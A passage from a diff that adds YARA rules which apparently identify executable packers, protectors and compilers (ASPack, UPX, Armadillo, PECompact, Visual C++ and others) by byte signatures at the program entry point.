+		$9 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 ?? B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$10 = {83 EC 04 89 ?? 24 59 ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$11 = {00 BD 46 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$12 = {83 EC 04 89 ?? 24 59 ?? ?? 00 00 00}
+		$13 = {59 ?? ?? 00 00 00}
+		$14 = {55 8B EC ?? 00 BD 46 00 8B ?? B9 ?? 00 00 00 80 ?? ?? 51 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$15 = {00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+		$16 = {EB 01 C3 ?? 00 BD 46 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 or $4 or $5 or $6 or $7 or $8 or $9 or $10 or $11 or $12 or $13 or $14 or $15 or $16
+}
+rule _PseudoSigner_02_VBOX_43_MTE_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VBOX 4.3 MTE"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10804_
+{
+	meta:
+		description = "ASPack v1.08.04"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? EB}
+		$1 = {60 E8 41 06 00 00 EB 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exact_Audio_Copy_
+{
+	meta:
+		description = "Exact Audio Copy"
+	strings:
+		$0 = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+		$1 = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00}
+		$2 = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Escargot_01__by_ueMeat_
+{
+	meta:
+		description = "Escargot 0.1 - by ueMeat"
+	strings:
+		$0 = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+		$1 = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+		$2 = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PMODEW_v112_116_121_133_DOS_extender_
+{
+	meta:
+		description = "PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender"
+	strings:
+		$0 = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+		$1 = {FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BamBam_001_
+{
+	meta:
+		description = "BamBam 0.01"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v032_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.32 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_ASPack_212__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake ASPack 2.12) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_036_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.36 beta -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+		$1 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_11b__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.1b] --> Anorganix"
+	strings:
+		$0 = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorLightV1701__CGSoftLabs__20090603_
+{
+	meta:
+		description = "eXPressor.Light.V1.7.0.1 -> CGSoftLabs * 20090603"
+	strings:
+		$0 = {55 8B EC 81 EC 84 02 00 00 53 56 57 83 A5 A8 FD FF FF 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 78 60 00 75 14 6A 10 68 F0 ?? ?? ?? 68 78 ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? E8 F0 FE FF FF A3 ?? ?? ?? ?? 68 04 01 00 00 8D 85 D8 FD FF FF 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 05 D7 FD FF FF 89 85 AC FD FF FF 8B 85 AC FD FF FF 0F BE 00 83 F8 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_12_
+{
+	meta:
+		description = "Petite 1.2"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+		$1 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Spin_0b_
+{
+	meta:
+		description = "PE Spin 0.b"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V13X__vcasm__SignByfly_
+{
+	meta:
+		description = "VProtector V1.3X -> vcasm * Sign.By.fly"
+	strings:
+		$0 = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+	condition:
+		$0
+}
+rule _eXPressor_11__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+		$1 = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_30_old_crap_
+{
+	meta:
+		description = "Microsoft Visual C++ (3.0 old crap)"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_V1XV2X__Fisun_AV_
+{
+	meta:
+		description = "ORiEN V1.X-V2.X -> Fisun A.V."
+	strings:
+		$0 = {4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D}
+		$1 = {4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressorStandardV1701__CGSoftLabs__20090603_
+{
+	meta:
+		description = "eXPressor.Standard.V1.7.0.1 -> CGSoftLabs * 20090603"
+	strings:
+		$0 = {55 8B EC 81 EC ?? 02 00 00 53 56 57 83 A5 A0 FD FF FF 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 04 25 00 00 00 80 74 61 83 7D 0C 01 75 2A 8B 45 08 A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 19 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 7D 0C 00 75 13 83 ?? ?? ?? ?? ?? ?? 74 0A E9 66 0A 00 00 E9 61 0A 00 00 83 ?? ?? ?? ?? ?? ?? 74 05 E9 BE 09 00 00 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 78 60 00 75 1C 6A 10 6A 00 E8 AD 17 00 00 59 50 6A 01 E8 A4 17 00 00 59 50 6A 00 FF 15 ?? ?? ?? ?? E8 98 0A 00 00 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 80 00 00 00 6A 00 FF 15 ?? ?? ?? ?? 89 85 D0 FD FF FF 68 04 01 00 00 8D 85 D8 FD FF FF 50 FF ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 05 D7 FD FF FF 89 85 A4 FD FF FF 8B 85 A4 FD FF FF 0F BE 00 83 F8 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_
+{
+	meta:
+		description = "WATCOM C/C++"
+	strings:
+		$0 = {BF ?? ?? 8E D7 81 C4 ?? ?? BE ?? ?? 2B F7 8B C6 B1 ?? D3}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v10_
+{
+	meta:
+		description = "NeoLite v1.0"
+	strings:
+		$0 = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+		$1 = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+		$2 = {E9 9B 00 00 00 A0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_v184_
+{
+	meta:
+		description = "Armadillo v1.84"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _File_Analyzer_Extended_Datafile_Version_
+{
+	meta:
+		description = "File Analyzer Extended Datafile Version"
+	strings:
+		$0 = {23 03 45 58 54 44 ?? ?? 3A 03}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v062_
+{
+	meta:
+		description = "UPX v0.62"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07}
+		$1 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Hasp_dongle_Alladin_
+{
+	meta:
+		description = "Hasp dongle (Alladin)"
+	strings:
+		$0 = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+		$1 = {50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Username_300_COM_
+{
+	meta:
+		description = "Username 3.00 [COM]"
+	strings:
+		$0 = {E8 00 00 5D 83 ED 03 FA FC 33 F6 8E DE BF 99 01 03 FD B9 14 00 F3 A4 8B FC 8B 1E 84 00 A1 86 00 89 1E 0C 00 A3 0E 00 8B 16 40 00 8B 1E 42 00 B8 AD FD 8E D0 B8 38 25 8B E0 53 52 8C C8 8B E7 8E D0 FB 0E 1F BE 51 00 B9 24 01 3E 31 0A 46 46 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_36x__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.6x -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_aPLib_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [aPLib"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_006__by_Dmitry_AND_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.06 - by Dmitry AND Andreev"
+	strings:
+		$0 = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74}
+		$1 = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Visual_Cpp_42_DLL_
+{
+	meta:
+		description = "Visual C++ 4.2 (DLL)"
+	strings:
+		$0 = {53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D 00 00 00 00 00 75 09 33 C0 5D 5F 5E 5B C2 0C 00 83 FB 01 74 05 83 FB 02 75 3A 8B 0D 00 00 00 00 85 C9 74 0F 8B 7C 24 1C 8B 74 24 14 57 53 56 FF D1 EB 08 8B 74 24 14 8B 7C 24 1C 85 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_v141_
+{
+	meta:
+		description = "ACProtect v1.41"
+	strings:
+		$0 = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+		$1 = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Unknown_packer_01_
+{
+	meta:
+		description = "Unknown packer (01)"
+	strings:
+		$0 = {EB ?? ?? BE ?? ?? BF ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_108_
+{
+	meta:
+		description = "ASPack 1.08"
+	strings:
+		$0 = {90 90 90 75 01 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v123b3__v1241_
+{
+	meta:
+		description = "PECompact v1.23b3 - v1.24.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE_Stealth_V27X__WebtoolMaster____20080109_
+{
+	meta:
+		description = "EXE Stealth V2.7X -> WebtoolMaster   * 20080109"
+	strings:
+		$0 = {EB 65 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 E8 00 00 00 00 5D 81 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? 04 ?? ?? 01 EB 05 ?? ?? ?? ?? ?? EB 00 EB 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Stranik_13_ModulaCPascal_
+{
+	meta:
+		description = "Stranik 1.3 Modula/C/Pascal"
+	strings:
+		$0 = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+		$1 = {E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ChSfx_small_v11_
+{
+	meta:
+		description = "ChSfx (small) v1.1"
+	strings:
+		$0 = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+		$1 = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WebCops_DLL_
+{
+	meta:
+		description = "WebCops [DLL"
+	strings:
+		$0 = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
